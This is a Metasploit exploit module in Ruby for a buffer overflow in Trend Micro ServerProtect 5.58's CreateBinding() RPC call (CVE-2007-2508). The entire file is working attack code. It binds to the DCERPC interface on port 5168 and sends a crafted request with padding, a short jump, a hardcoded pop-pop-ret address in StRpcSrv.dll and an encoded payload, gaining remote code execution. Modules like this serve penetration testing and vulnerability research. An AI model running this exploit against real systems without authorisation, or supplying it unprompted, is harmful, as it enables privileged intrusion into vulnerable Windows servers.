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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::DCERPC
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Trend Micro ServerProtect 5.58 CreateBinding() Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a buffer overflow in Trend Micro ServerProtect 5.58 Build 1060.
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        By sending a specially crafted RPC request, an attacker could overflow the
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        buffer and execute arbitrary code.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE', '2007-2508'],
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          ['OSVDB', '35790'],
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          ['BID', '23868'],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 800,
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          'BadChars' => "\x00",
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          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Trend Micro ServerProtect 5.58 Build 1060', { 'Ret' => 0x65675aa8 } ], # pop esi; pop ecx; ret - StRpcSrv.dll
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2007-05-07'))
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    register_options( [ Opt::RPORT(5168) ])
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  end
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  def exploit
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    connect
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    handle = dcerpc_handle('25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
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    print_status("Binding to #{handle} ...")
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    dcerpc_bind(handle)
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    print_status("Bound to #{handle} ...")
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    filler =  rand_text_alpha(360) + Rex::Arch::X86.jmp_short(6) + make_nops(2)
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    filler << [target.ret].pack('V') + payload.encoded
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    filler << rand_text_english(1400 - payload.encoded.length)
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    len    = filler.length
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    sploit = NDR.long(0x001f0002) + NDR.long(len) + filler + NDR.long(len)
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    print_status("Trying target #{target.name}...")
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    begin
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      dcerpc_call(0, sploit)
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    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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    end
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    handler
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    disconnect
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  end
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end
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